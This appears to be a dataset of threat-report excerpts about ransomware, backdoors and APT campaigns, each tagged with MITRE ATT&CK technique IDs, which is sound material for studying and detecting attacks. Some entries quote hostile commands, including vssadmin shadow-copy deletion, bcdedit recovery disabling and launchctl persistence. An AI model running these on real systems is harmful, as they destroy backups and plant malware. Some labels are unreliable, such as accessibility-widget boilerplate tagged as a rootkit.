Most of the important API calls resolve dynamically during the run time using “string_decryptor” function. 288 API calls have been resolved dynamically,T1106
"Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems. Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment. An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion. Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. The encryption process proceeded as follows: A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat. A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat",T1059.003
"Messages sent from a client mimic the HTTP protocol, but note the invalid “HIDE” HTTP verb in the example in Figure 7",T1001.003
"Read more . BUSINESS INSIGHTS . Deep dive into a FIN8 attack – A forensic investigation . During a recent investigation, our researchers encountered a new version of the BADHATCH malware used by the well-known threat actor, FIN8. We previously reported that FIN8 was working on a new version of the BADHATCH malware - and this recent attack supports our findings and conclusions. The objective of this blog post is to provide insights into an attempted attack by FIN8 on one of our customers, and how we worked with the customer to thwart the attack before it could fully develop. They engaged in lateral movement by using the WMIC utility for remote code execution (a built-in Windows tool). WMIC (wmic.exe) was used to create a remote command prompt instance (cmd.exe), which then executed the PowerShell code. The PowerShell command created two variables and attempted to download and execute the payload from one of FIN8’s Command and Control (C&C) servers. While this service is legitimate and widely used, the malware abused it in an attempt at evading detection when connecting to C&C servers. To achieve persistency, they used WMI Event Subscription with a few different WMI objects. The decrypted script is used to select a .NET binary based on the architecture type (x86 or x64), create WMI objects used for persistence (described later) and create a WMI event trigger. The first object (root\cimv2\Win32_Base64Class) has a property Prop that contains the code of the payload. This is used to store the payload in the WMI object",T1047
"After the first shellcode creates the RegAsm process and injects a second shellcode into it, it will execute the API call NtResumeThread to activate the second shellcode within the RegAsm memory",T1055
"Responsible for changing passwords of all user accounts in the system - Drops .cmd scripts, which are responsible for deleting volume shadow copies, logging off the user, wiping deleted data and adding registry entries for ransom contact information - Responsible for the malware’s typical ransomware payload routines",T1112 | T1531
"""The data in """"shinu"""" parameter is a combination of the system's tickcount, local IP address, operating system version, keyboard layout and the contents of %WINDOWS%\inf\netimm173.pnf. The C2 server can respond to this HTTP request with one of the following two commands""",T1082
Smoke Loaded adds its current sample and all other downloaded executables to the Windows registry. Names of the keys are randomly chosen among the names of existing entries,T1547.001
Figure 11: Using Wireshark to find 58 kB of encoded data returned from the C2 server at 185.141.61[.]246,T1102.001
"Both Cloud Atlas and RedOctober malware implants rely on a similar construct, with a loader and the final payload that is stored encrypted and compressed in an external file. There are some important differences though, especially in the encryption algorithms used – RC4 in RedOctober vs AES in Cloud Atlas",T1027
launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login. The dropper will delete itself at the end of the process,T1070.004
the malware used by the attacker pretends to be the xmlprov Network Provisioning Service. This service manages XML configuration files on a domain basis for automatic network provisioning,T1036.004
"cmd /c pull <filename>: Adds filename to temp.zip, Base64 encodes, and uploads to control server - cmd /c chip <string>: Deletes current ipnet.ini config file. cmd /c put <new_file_name> <existing_file_name>: Copies existing file to new file name. Deletes existing file. user <parameters>: Executes downloaded file with parameters specified using CreateProcessAsUser - cmd /c <command>: Executes command on infected endpoint",T1546.009
The initial backdoor is deployed using a decoy document containing a macro. Here are some examples of the content delivered to the victims: The observed content has some common characteristics like the attempt to impersonate National entities; the four documents mimics,T1204.002
"The embedded configuration is encrypted and the payload decrypts it by first using a custom rolling XOR algorithm to decrypt a key and a buffer of ciphertext, resulting in a key and ciphertext that appears encoded with base64. It will then generate the SHA256 hash of the base64 encoded key and use the fourth through the 28th bytes of the resulting hash as the final key. The payload will base64 decode the ciphertext and use the final key to decrypt the decoded ciphertext using Triple DES (3DES), which results in a configuration that is structured in JSON",T1140
"The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection",T1547.009
"Computer name and network adapters information - Disk space information for disks C: through Z: including total memory in bytes, total available memory in bytes, etc. Current memory status including total physical memory in bytes, total available memory, etc. Domain name and usernames based on current remote sessions",T1082 | T1016
"""The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://<c2 domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""""File Uploaded"""")> The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL: http://<c2 domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""""< File Not Found >"""")> If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data""",T1560.001
"""The dropper then attempts to open the service manager on each remote system to start the RemoteRegistry service, which it will connect to using RegConnectRegistryW. Once connected, the dropper attempts to disable UAC (User Access Control) remote restrictions by setting the following registry key to a value of """"1""",T1548.002 | T1112
"To increase its level of stealth, the malware protects itself from the eyes of administrators and analysts by encrypting its strings, internal files, configuration data and network communication. While the RC2FM module uses a handful of custom ciphers, the wrapper DLL and the RC2CL module share one particular routine for all purposes, especially for decrypting other malware modules embedded in the wrapper DLL",T1027
"NOBELIUM has been observed modifying Azure AD to enable long-term persistence and access to sensitive information. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. In one incident, MSTIC observed the use of Azure RunCommand, paired with Azure admin-on-behalf-of (AOBO), as a technique to gain access to virtual machines and shift access from cloud to on-premise. NOBELIUM has demonstrated an ongoing interest in targeting privileged users, including Global Administrators",T1090.003
"Both use SSL to communicate with their C2 servers, and it appears they share common code to carry out the Diffie Hellman key exchange",T1095
"Brave Prince is a Korean-language implant that contains similar code and behavior to the Gold Dragon variants, specifically the system profiling and control server communication mechanism. The malware gathers detailed logs about the victim’s configuration, contents of the hard drive, registry, scheduled tasks, running processes, and more. Brave Prince was first observed in the wild December 13, 2017, sending logs to the attacker via South Korea’s Daum email service",T1082
"It allows the attacker to not only see the active screen of the infected user but also be able to take control of the mouse and keyboard, using it as though they were sitting in front of the system itself",T1021.001
"""PlugX — A remote access tool notable for communications that may contain HTTP headers starting with """"X-"""" (e.g. X-Session: 0""""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. ChinaChopper web shell. shown in Figure 4, are required to interact with the web shell. TG-3390 has used additional web shells containing similarly formatted passwords""",T1059.003
"In an attempt to hide the contents of the stolen data, the threat actor used winrar to compress and password-protect it. The winrar binaries and compressed data were found mostly in the Recycle Bin folder, a TTP that was previously observed in APT10-related attacks, as well as others. This threat actor is known to stage the data in multi-part archives before exfiltration",T1560.001 | T1074.001
"FoggyWeb is stored in the encrypted file Windows.Data.TimeZones.zh-PH.pri, while the malicious file version.dll can be described as its loader",T1083
"""PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems. Note: some anti-virus scanners report that one or more of the tools are infected with a """"remote admin"""" virus. Using PsExec . See the July 2004 issue of Windows IT Pro Magazine for Mark's article that covers advanced usage of PsExec. Runs on: Recommended content . - Autologon - Windows Sysinternals Bypass password screen during logon. BgInfo - Windows Sysinternals This fully-configurable program automatically generates desktop backgrounds that include important information about the system. PsTools - Windows Sysinternals Command-line utilities for listing the processes running on local or remote computers, running processes, rebooting computers, and more. SDelete - Windows Sysinternals Securely overwrite your sensitive files and cleanse your free space of previously deleted files using this DoD-compliant secure delete program. Sysmon - Windows Sysinternals Monitors and reports key system activity via the Windows event log. Remotely edit the registry - Windows Server Describes how to remotely edit the registry of a client computer from a host computer after you use Remote Recover to connect the host computer to the client computer""",T1569.002
"KPortScan – a GUI-based portscanner - PsExec – a tool to remotely execute commands on Windows systems - Batch files for enabling RDP and bypassing firewall rules - Procdump – a tool to dump process memory, along with a batch file to dump the lsass process for password extraction - Mimikatz – a tool to dump passwords and hashes - The Eternal suite of exploits, along with batch files for rapid scanning and exploitation - Nirsoft Mail PassView – a tool to dump saved mail passwords - Nirsoft Network Password Recovery – a tool to dump saved Windows password - Nirsoft Remote Desktop PassView – a tool to dump saved RDP passwords - Nirsoft SniffPass – a tool to sniff the network for passwords sent over insecure protocols - Nirsoft WebBrowserPassView – a tool to dump passwords stored in a variety of browsers",T1040
This is the detection for the infected .EXE and .PDF files related to the URSNIF variant that steals information. The said information-stealing infector (detected as PE_URSNIF.A-O) has affected countries such as US and UK,T1105
The final payload is a .NET DLL file designed to steal documents and images with the following extensions,T1119
"Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image. These files frequently purport to offer information on job openings or appear to be documents sent from another organization operating in the same industry as the victim. Given the nature of disguise, it’s highly likely that they are sent to the victim using spear-phishing emails",T1204.002
"Malware Analysis Malware Dropper The dropper executable file in the Russian attack hides the encrypted Bisonal DLL file and non-malicious decoy file at the end of its body. Once executed, the dropper decrypts the data blob using the RC4 cipher with the key, “34123412”, saves them in the path shown below and executes them",T1027
"""We saw a Waterbear loader named """"ociw32.dll"""" inside one of the folders in the %PATH% environmental variable. mtxoci.dll” first tries to query the registry key """"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"""" to see if the value """"OracleOciLib"""" exists. If the value doesn't exist, “mtxoci.dll” tries to load """"ociw32.dll"""" instead. During our investigation, we noticed that the value """"OracleOciLib"""" was deleted from the victim's machine, as shown in Figure 2""",T1012
"Mustang Panda is a well-known APT with a long history of targeting non-governmental organisations (NGOs). It utilizes shared malware like Poison Ivy, PlugX and Cobalt Strike payloads in order to gather intelligence. Since 2008, PlugX as a RAT (Remote Access Trojan) malware family has been used as a backdoor to control the victim’s machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system to retrieve machine information, capture the screen, manage services, and manage processes",T1082
"""The file destruction algorithm is composed of two stages: a first stage to overwrite files and another to destroy the physical disk layout and the partition tables along with it. For the file destruction, it takes ownership of the files by modifying their ACL entries after it has obtained the 'SeTakeOwnershipPrivilege'. A file found will then simply be overwritten with zeros. The wiper will then move on to the next drive on the system beginning with the """"D"""" drive. It will recursively gain rights to files on a drive and overwrite them with zeros. This is done for the next 23 drives alphabetically (through """"Z:\""""). On the second stage, the wiper attempts to set the drive layout of all the physical drives on the system numbered 9 to 0. This will wipe out all extended information about the physical drive's partitions including MBR, GPT and partition entries""",T1485
"OFF ON Vision Impaired Profile Enhances website's visuals This profile adjusts the website, so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements.Note: This profile prompts automatically for keyboard users. We utilize an accessibility interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Cognitive Disability Profile: this profile provides various assistive features to help users with cognitive disabilities such as Autism, Dyslexia, CVA, and others, to focus on the essential elements more easily. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements. 7) Additional functions – we allow users to change cursor color and size, use a printing mode, enable a virtual keyboard, and many other functions. If you wish to contact the website’s owner, please use the website's form . Hide Accessibility Interface. Please note: If you choose to hide the accessibility interface, you won't be able to see it anymore, unless you clear your browsing history and data",T1014
"We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors' preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. These obfuscation techniques will require network defenders to modify their posture and procedures to detect this threat. This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also took additional steps to only respond to GET requests that contained predefined fields, such as a non-existent user-agent string, a session cookie, and a particular directory on the domain. The threat actors also used different types of encryption in order to protect data in transit",T1518.001
The malware is typically spread via malspam campaigns containing a URL that directs recipients to an infection zone. The first stage of infection is a loader component. Our team located a number of loaders used by Grandoreiro attackers masked as invoice files with a .msi extension and placed into an easily accessible GitHub repository. The second stage of the infection fetches the Grandoreiro payload via a hardcoded URL within the loader’s code. Grandoreiro is executed and infects the device,T1105
"""First, the """"packager trick"""" is leveraged in order to embed the initial QuasarRAT dropper (qrat.exe) in the malicious RTF document. Its called the """"packager trick"""" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious """"scriptlet"""" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial """"qrat.exe"""" dropper from the current user's %tmp% directory""",T1036.005
"For the first execution of the malware, it creates the file set.txt with {System_Parametrs = 10} inside and creates the Windows registry entry",T1547.001
"As we can see, this particular sample is configured with a single command and control (C2) server, however, we have seen other samples with multiple host and port combinations. We can also identify a communication key in it, which is crucial when discussing network communications",T1008
"TA505 has been using Excel file, Word document, or .WIZ files as its attack entry point. However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file",T1069 | T1204.001
T1610 Deploy Container—Payload is delivered via an ISO file which is mounted on target computers. T1204.001 User Execution: Malicious Link—Cobalt Strike Beacon payload is executed via a malicious link (LNK) file,T1566.002
"CTU analysis of one of GOLD KINGSWOOD's campaign using SpicyOmelette (DOC2018.js) exposed additional sophisticated methods to compromise targets. Depending on the security profile of the victim's system, a pop-up notification may have warned about running external content",T1059.007
"Phishing emails continued to use links to external ZIP or RAR archives, which ultimately contained an executable with the extension SCR. SPEAR identified the following URLs were used in phishing attempts",T1566.002
"This method collects additional data from the infected machine, such as its public IP address, computer name, and the installed Windows version",T1016
"Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos. They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query. This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query. The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set. The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations",T1124
"The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command",T1082 | T1047
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. Windows Credential Editor (WCE) — This tool obtains passwords from memory. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",T1548.002
"Clop ransomware shows some characteristics that enterprises are its intended targets instead of end consumers. The authors displayed some creative technical solutions, to detect the victim’s language settings and installed programs. On the other hand, we also noticed some weird decisions when it came to coding certain functionalities in the ransomware. Unfortunately, it is not the first time that criminals will make money with badly programmed malware",T1614.001
"The malware arrives via an email disguised as a tax incentive notification from a major financial services company. This email includes a macro enabled (XLSM) Microsoft Excel spreadsheet attachment (detected as Trojan.W97M.MERETAM.A) that purportedly contains the details of the tax incentive. However, as these attachments usually go, this macro is malicious and will download and deploy Trickbot on the user’s machine once activated",T1059.003 | T1566.001
"""The adversary has changed their deployment methodology and now they use a loader mechanism called """"runner"""" to execute the payload. Upon execution, the loader will search for files with the extension .stubbin in its execution directory, this file contains the SamSam encrypted .NET Assembly payload. Upon reading the file, the loader decrypts the payload with the password supplied as the first argument and executes it, passing the remaining arguments. Comparing both the Initialization Vector (IV) and the code structure it seems like it may have been derived from an example posted on the Codeproject.com website. As you can seen in the images below, the IV used for the Rijndael encryption is the same in both implementations (posted code in hexadecimal, reversed code in decimal due to decompiler implementation""",T1027
"""For the first time, the ROKRAT sample used during the """"North Korean Human Rights"""" contained a browser credentials stealer. The malware is able to extract the stored passwords from Internet Explorer, Chrome and Firefox. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer. Here is the initialization of the Vault APIs: On the left, we have the ROKRAT sample and on the right the FreeMilk sample""",T1555.003
"9, 2020, CARBON SPIDER attempted to run the Darkside ransomware with the filename sleep.exe. This filename may reflect an attempt to masquerade as the legitimate Windows executable with the same name",T1036.005
"AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. A number of legitimate Windows executables that are not blocked by the default AppLocker policies has been discovered and various proof of concept AppLocker bypass code became publicly available. The Microsoft Connection Manager Profile Installer (cmstp.exe) is a command-line program used to install Connection Manager service profiles. A malicious INF file can be supplied as a parameter to download and execute remote code. Example malicious INF file to load a remote SCT file Cmstp may also be used to load and execute COM scriptlets (SCT files) from remote servers. Example of malicious scriptlet file used to drop a malicious DLL dropper for the next stage Microsoft allows developers to create COM+ objects in script code stored in an XML document, a so-called scriptlet file. To bypass AppLocker and launching script code within a scriptlet, the attacker includes the malicious code within an XML script tag placed within the registration tag of the scriptlet file and calls cmstp with appropriate parameters. For example: Here, the attackers randomize the scriptlet name and use a .txt filename extension, likely in an attempt to bypass fundamental protection mechanisms that attempt to block file types based on the filename extension. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations",T1218.003
"""Listening for Commands We analyzed RGDoor samples and found that the """"RegisterModule"""" function does very little other than calling the IHttpModuleRegistrationInfo::SetRequestNotifications method. If present, the code uses the two-bytes immediately following the """"RGSESSIONID="""" string as a decryption key, specifically treating the two character bytes as a single hexadecimal byte. The key is followed by a Base64 encoded string that contains ciphertext. The custom algorithm iterates through the ciphertext using the 'pxor' instruction to XOR each byte of ciphertext with the single-byte hexadecimal value from the two-byte character key provided in the cookie field. The code will parse the cleartext looking for one of three commands: “cmd$”, “upload$” and “download$”. The code treats the string immediately following the command as the command’s argument""",T1140
"Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO",T1566.002
The two-stage malware overwrites the Master Boot Record (MBR) on victim systems with a ransom note (Stage 1). The MBR is the part of a hard drive that tells the computer how to load its operating system. The ransom note contains a Bitcoin wallet and Tox ID (a unique account identifier used in the Tox encrypted messaging protocol) that have not been previously observed by MSTIC,T1542.003
1) Persistence via PowerShell 2) Persistence via the Run registry key 3) Persistence via a .lnk file stored in the Startup directory,T1547.009 | T1547.001
"This is just what has been happening for the past few months, where a group using two well-known backdoors — Buhtrap and RTM — as well as ransomware and cryptocurrency stealers, has targeted organizations, mainly in Russia. Yandex.Direct is its online advertising network",T1189
"After connecting to a C2 server, the malware uses a custom encrypted protocol over TCP port 80 through the Tor circuit to transmit encryption keys, to allow victims to communicate with the operators, and to check payment status",T1573.002
"Once installed, BLINDINGCAN will collect user and system information before sending it to a command and control server using HTTP POST requests. By default, BLINDINGCAN is able to",T1041
"Once executed, the ransomware follows the typical routine of encrypting files and appending them with the suffix .seth, before dropping a ransom note",T1486
"Before the malware starts interacting with the command and control server, it ensures that any other related files produced by a previous instance of the loader will not cause any issues. As a result the loader appends the string ‘_lyrt’ to its current file path and deletes any file with this name. Next, the loader searches for the parameter ‘-p’ in the command line and if found, it deletes the scheduled task ‘StartDT’. The loader creates this scheduled task later for persistence during execution. The loader also attempts to execute hijacked shortcut files, which will eventually execute an instance of Team9 loader",T1070
"After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The malware masquerades its network traffic as the Orion Improvement Program (OIP) protocol and stores reconnaissance results within legitimate plugin configuration files allowing it to blend in with legitimate SolarWinds activity",T1001.003
"SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1",T1105
mshlpweb.dll utilize a set of standard windows API calls to duplicate the token of wusa.exe and use it to spawn high integrity instance of cmd.exe,T1548.002
"The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. Before carrying out any of its functionality the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment",T1027
"The macro executes this payload in a rather interesting way by loading the dropped ~temp.docm document and calling a function within its embedded macro to run the payload. We believe the creator of this delivery document chose to run the payload from the dropped file as an evasion technique. Also, the fact the initial macro uses this dropped document for the execution of the payload may also explain why the document did not contain any decoy contents",T1059.003
"The Bazar loader files are dual-extension executable files (such as PreviewReport.DOC.exe) signed with fake certificates such as VB CORPORATE PTY. This is consistent with the Trickbot group, which notoriously abuses the trust of certificate authorities by using signed loaders and malware to evade security product detection. Signed malware was seen in Trickbot-Anchor infections and will continue to play a role in future campaigns due to the ease of obtaining code-signing certificates and their effectiveness in evading security products",T1553.002
"While these two Trojans share code, we consider Emissary and Elise separate tools since their configuration structure, command handler and C2 communications channel differ. The Emissary Trojan delivered in this attack contains the components listed in Table 1. At a high level, Emissary has an initial loader DLL that extracts a configuration file and a second DLL containing Emissary’s functional code that it injects into Internet Explorer",T1055.001
"The Gamaredon group has been active since at least 2013. Outlook VBA module . The Gamaredon group uses a package that includes a custom Microsoft Outlook Visual Basic for Applications (VBA) project. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors. C# compiler module . This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript. It also has the ability to download and execute arbitrary code from its C&C server. C# backdoor thread creation routine . Batch file/VBScript . This version comprises several scripts, written in both batch file form and VBScript. Network infrastructure . The Gamaredon group uses many different domains, both free and paid, for its C&C servers. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Indicators of Compromise (IoCs) . MITRE ATT&CK techniques . 11 Jun 2020 - 11:30AM . Newsletter . Newsletter . Similar Articles . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies – it just gets more targeted . Anatomy of native IIS malware . Some URL shortener services distribute Android malware, including banking or SMS trojans . Discussion . - Home - About Us - Contact Us - Sitemap - Our Experts - ESET - Research - How To - Categories - RSS Configurator - News Widget",T1059.003
"Aside from finding the malicious documents, the Advanced Threat Research team discovered a Win32-based executable dropper. This dropper uses a stolen digital signature from Adobe Systems. This certificate is also used by another Korean-language malware compiled January 16 (hash: 35904f482d37f5ce6034d6042bae207418e450f4) with an interesting program database (PDB) path",T1553.002
"Analysis of several backdoors identified in this recent operation revealed that Turla has relied on traditional C&C implementations, using compromised web servers as C&C, as well as utilizing legitimate web services like Pastebin. Additionally, one analyzed sample of Kazuar is configured for commands sent through likely internal nodes in the government's network, while others use the more traditional method of external C&C nodes. Varying the C&C ensures multiple avenues of recovery into the network if some of the group’s accesses are found and remediated against by network defenders",T1090.001
"At first, this command runs vssadmin.exe to delete all volume shadow copies on the system to prevent recovery (Inhibit System Recovery, ATT&CK T1490) vssadmin.exe Delete Shadows /All /Quiet - Then, it uses bcdedit.exe twice to disable automatic Windows recovery features by modifying boot configuration data (Inhibit System Recovery, ATT&CK T1490) bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures",T1059.003 | T1490
"In the case of 32-bit systems, the malware may attempt a known UAC bypass by launching printui.exe system process and using token manipulation with NtFilterToken as described in this blog post",T1134.001
"Egregor will only begin encrypting files once a command is sent by it's operators, presumably when they are satisfied with the information it has extracted. All non-system files are then encrypted using a hybrid AES-RSA implementation, before a ransom note is dropped on the desktop. Some Egregor variants will also attempt to display the ransom note on connected peripherals such as screens or printers",T1486
"The malicious Word file is the beginning of the infection chain and acts as a dropper for two DLL files. The Word file contains malicious Visual Basic macro code that runs when the document is opened in Word using the Document_Open() autoload function. The word file also contains a Base64-encoded file (encoded with a custom key) in it that is read, decoded, and dropped to the disk by the macro",T1140
"In these campaigns, the most common infection vector is via Microsoft Word documents embedded with malicious macro code. The contents of the documents are in English and German depending on the target",T1204.002
"First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim",T1490
"The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution",T1083
"Each backdoor has a different token that is encrypted in the registry. If the incoming traffic contains a token and is in the HTTP format, the backdoor will intercept the traffic and process the command. In the version that we’ve analyzed, the installer writes the token in the registry key. We can’t trigger the backdoor without a current token, which makes the backdoor more difficult to find and analyze",T1112 | T1205
"The threat group monitors its Dropbox account for responses from compromised computers. Once the LOWBALL malware calls back to the Dropbox account, the attackers will create a file called “[COMPUTER_NAME]_upload.bat” which contains commands to be executed on the compromised computer. This batch file is then executed on the target computer, with the results uploaded to the attackers’ Dropbox account in a file named “[COMPUTER_NAME]_download",T1059.003
"In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. Attack Overview . The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails. Figure 2: Macro to display lure document . The initial Word documents were password protected, likely in an effort to bypass detection. Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3. Figure 3: Lure document . Figure 4 shows what happens when the malicious macro is executed. The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows): 3. The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5. The macro deletes the initially dropped .txt files using Windows esentutl.exe and changes the document text to an embedded message. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2’s calculated MD5 hash to determine which key to use, as shown in Figure 10. To mitigate the threat, users are advised to disable Office macros in their settings and not to open documents from unknown sources",T1059.003 | T1059.003
The group also uses the all.bat batch script to collect all files stored on a specific user's desktop. CTU researchers observed RCSession and Cobalt Strike on systems that BRONZE PRESIDENT targeted for data theft. Either of these tools could have been used to exfiltrate the archived data,T1074.001
"REvil checks the Software\recfg registry key for the presence of the rnd_ext value. This value contains the random extension generated at runtime that is appended to encrypted files. If this registry value does not exist, the malware generates a random string of lowercase letters (a-z) and numbers (0-9) ranging from five to ten characters in length (inclusive) and preceded by a period (e.g. 9781xsd4). This string is assigned to the rnd_ext value within the recfg registry subkey",T1012
"PUNCHBUGGY is a dynamic-link library (DLL) downloader, existing in both 32-bit and 64-bit versions, that can obtain additional code over HTTPS. This downloader was used by the threat actor to interact with compromised systems and move laterally across victim environments",T1071.001
"Confucius has a miscellany of backdoors: sctrls, ByeBye Shell, remote-access-c3, and sip_telephone, to name a few. One of its file stealers, swissknife2, abuses a cloud storage service as a repository of exfiltrated files. At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account. There were also a few thousand files in the account that were later deleted",T1583.006
The data theft procedure lists all files stored on the device and copies those with an extension matching a predefined list,T1083
